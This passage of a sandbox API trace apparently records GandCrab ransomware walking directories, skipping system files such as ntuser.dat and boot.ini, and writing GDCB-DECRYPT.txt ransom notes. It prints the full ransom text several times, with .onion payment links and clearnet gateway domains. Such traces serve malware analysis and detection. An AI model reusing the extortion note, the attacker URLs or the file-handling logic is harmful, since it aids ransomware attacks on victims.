GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.312] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.312] CloseHandle (hObject=0x4f8) returned 1 [0054.313] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned 55 [0054.313] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*" [0054.313] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b87b0 [0054.313] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.313] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.313] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.313] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.313] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.313] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.313] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.313] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt" [0054.313] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.313] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0054.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0054.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0054.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\GDCB-DECRYPT.txt") returned 71 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.314] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.314] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.314] FindClose (in: hFindFile=0x5b87b0 | out: hFindFile=0x5b87b0) returned 1 [0054.314] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.314] lstrcmpW (lpString1="SystemCertificates", lpString2=".") returned 1 [0054.314] lstrcmpW (lpString1="SystemCertificates", lpString2="..") returned 1 [0054.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0054.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\" [0054.314] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.314] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.314] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned 67 [0054.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" [0054.314] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8c30 [0054.314] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.314] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.314] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.314] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.315] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.315] lstrcmpW (lpString1="My", lpString2=".") returned 1 [0054.315] lstrcmpW (lpString1="My", lpString2="..") returned 1 [0054.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0054.315] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 69 [0054.315] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.315] FindClose (in: hFindFile=0x5b8c30 | out: hFindFile=0x5b8c30) returned 1 [0054.315] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.315] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\\\GDCB-DECRYPT.txt") returned 84 [0054.315] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.316] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.316] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.316] CloseHandle (hObject=0x4f8) returned 1 [0054.316] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.316] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned 67 [0054.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" [0054.316] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8970 [0054.317] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.317] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.317] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.317] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.317] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.317] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.317] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt" [0054.317] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.317] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0054.317] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0054.317] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0054.317] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\GDCB-DECRYPT.txt") returned 83 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.317] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.317] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.317] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.317] lstrcmpW (lpString1="My", lpString2=".") returned 1 [0054.317] lstrcmpW (lpString1="My", lpString2="..") returned 1 [0054.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0054.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\" [0054.317] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.317] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.318] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.318] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.318] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.318] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned 70 [0054.318] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" [0054.318] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8c70 [0054.318] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.318] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.318] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.318] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.318] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.318] lstrcmpW (lpString1="AppContainerUserCertRead", lpString2=".") returned 1 [0054.318] lstrcmpW (lpString1="AppContainerUserCertRead", lpString2="..") returned 1 [0054.318] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="AppContainerUserCertRead" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" [0054.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned 94 [0054.318] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.318] lstrcmpW (lpString1="Certificates", lpString2=".") returned 1 [0054.318] lstrcmpW (lpString1="Certificates", lpString2="..") returned 1 [0054.318] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0054.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 82 [0054.318] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.318] lstrcmpW (lpString1="CRLs", lpString2=".") returned 1 [0054.318] lstrcmpW (lpString1="CRLs", lpString2="..") returned 1 [0054.318] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0054.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 74 [0054.318] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.318] lstrcmpW (lpString1="CTLs", lpString2=".") returned 1 [0054.318] lstrcmpW (lpString1="CTLs", lpString2="..") returned 1 [0054.318] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0054.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 74 [0054.318] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.318] FindClose (in: hFindFile=0x5b8c70 | out: hFindFile=0x5b8c70) returned 1 [0054.319] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.319] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\\\GDCB-DECRYPT.txt") returned 87 [0054.319] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.320] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.320] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.320] CloseHandle (hObject=0x4fc) returned 1 [0054.321] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.321] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned 70 [0054.321] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" [0054.321] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8d30 [0054.321] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.321] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.321] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.321] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.321] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.321] lstrcmpW (lpString1="AppContainerUserCertRead", lpString2=".") returned 1 [0054.321] lstrcmpW (lpString1="AppContainerUserCertRead", lpString2="..") returned 1 [0054.321] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="AppContainerUserCertRead" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" [0054.321] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.321] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned 94 [0054.321] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned 94 [0054.321] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.321] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.321] lstrcmpW (lpString1="Certificates", lpString2=".") returned 1 [0054.321] lstrcmpW (lpString1="Certificates", lpString2="..") returned 1 [0054.321] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0054.321] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\" [0054.321] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.322] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.322] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.322] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.322] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.322] VirtualFree 